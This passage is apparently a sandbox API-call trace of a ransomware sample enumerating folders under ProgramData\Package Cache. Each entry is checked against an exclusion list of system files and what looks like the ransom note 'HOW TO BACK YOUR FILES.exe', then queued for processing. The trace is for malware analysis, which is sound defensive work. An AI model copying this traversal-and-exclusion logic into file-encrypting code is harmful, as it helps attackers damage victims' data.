	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="temp") returned -1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="boot") returned -1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="ids.txt") returned -1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="perflogs") returned -1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="MSBuild") returned -1
	[0050.491] lstrlenW (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 49
	[0050.491] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 78
	[0050.491] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0050.491] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0050.491] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x599bc8
	[0050.491] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0050.491] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1
	[0050.491] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.491] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0050.491] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2=".") returned 1
	[0050.491] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="..") returned 1
	[0050.491] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="windows") returned -1
	[0050.491] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="bootmgr") returned -1
	[0050.491] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="temp") returned -1
	[0050.491] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0050.491] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="boot") returned -1
	[0050.492] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="ids.txt") returned -1
	[0050.492] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0050.492] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="perflogs") returned -1
	[0050.492] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="MSBuild") returned -1
	[0050.492] lstrlenW (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 49
	[0050.492] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 78
	[0050.492] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0050.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0050.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x599c70
	[0050.492] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0050.492] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="Apollon865.txt.exe") returned -1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2=".") returned 1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="..") returned 1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="windows") returned -1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="bootmgr") returned -1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="temp") returned -1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="pagefile.sys") returned -1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="boot") returned -1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="ids.txt") returned -1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="ntuser.dat") returned -1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="perflogs") returned -1
	[0050.492] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="MSBuild") returned -1
	[0050.492] lstrlenW (lpString="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 38
	[0050.492] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 78
	[0050.492] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0050.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0050.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8e98
	[0050.492] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0050.492] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1
	[0050.492] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.492] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0050.493] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2=".") returned 1
	[0050.493] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="..") returned 1
	[0050.493] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="windows") returned -1
	[0050.493] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="bootmgr") returned -1
	[0050.493] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="temp") returned -1
	[0050.493] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0050.493] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="boot") returned -1
	[0050.493] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="ids.txt") returned -1
	[0050.493] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0050.493] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="perflogs") returned -1
	[0050.493] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="MSBuild") returned -1
	[0050.493] lstrlenW (lpString="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 49
	[0050.493] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 67
	[0050.493] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0050.493] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0050.493] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x599d18
	[0050.493] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0050.493] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2=".") returned 1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="..") returned 1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="windows") returned -1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="bootmgr") returned -1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="temp") returned -1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="boot") returned -1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="ids.txt") returned -1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="perflogs") returned -1
	[0050.493] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="MSBuild") returned -1
	[0050.493] lstrlenW (lpString="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 50
	[0050.494] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 78
	[0050.494] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
	[0050.494] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0050.494] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x599f60
	[0050.494] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0050.494] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="Apollon865.txt.exe") returned -1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2=".") returned 1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="..") returned 1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="windows") returned -1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="bootmgr") returned -1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="temp") returned -1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="pagefile.sys") returned -1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="boot") returned -1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="ids.txt") returned -1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="ntuser.dat") returned -1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="perflogs") returned -1
	[0050.494] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="MSBuild") returned -1
	[0050.494] lstrlenW (lpString="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 38
	[0050.494] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 79
	[0050.494] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0050.494] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0050.494] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8e08
	[0050.494] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0050.494] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1
	[0050.494] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.494] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="Apollon865.txt.exe") returned -1
	[0050.494] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2=".") returned 1
	[0050.494] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="..") returned 1
	[0050.494] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="windows") returned -1
	[0050.494] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="bootmgr") returned -1
	[0050.494] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="temp") returned -1
	[0050.495] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="pagefile.sys") returned -1
	[0050.495] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="boot") returned -1
	[0050.495] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="ids.txt") returned -1
	[0050.495] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="ntuser.dat") returned -1
	[0050.495] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="perflogs") returned -1
	[0050.495] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="MSBuild") returned -1
	[0050.495] lstrlenW (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38
	[0050.495] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 67
	[0050.495] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0050.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0050.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8d78
	[0050.495] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0050.495] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f3d7510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3d7510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="Apollon865.txt.exe") returned -1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2=".") returned 1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="..") returned 1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="windows") returned -1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="bootmgr") returned -1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="temp") returned -1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="pagefile.sys") returned -1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="boot") returned -1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="ids.txt") returned -1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="ntuser.dat") returned -1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="perflogs") returned -1
	[0050.495] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="MSBuild") returned -1
	[0050.495] lstrlenW (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38
	[0050.495] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 67
	[0050.495] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0050.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0050.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8ce8
	[0050.495] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fe30
	[0050.496] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2=".") returned 1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="..") returned 1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="windows") returned -1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="bootmgr") returned -1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="temp") returned -1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="boot") returned -1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="ids.txt") returned -1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="perflogs") returned -1
	[0050.496] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="MSBuild") returned -1
	[0050.496] lstrlenW (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 49
	[0050.496] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 67
	[0050.496] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0050.496] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0050.496] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x59a008
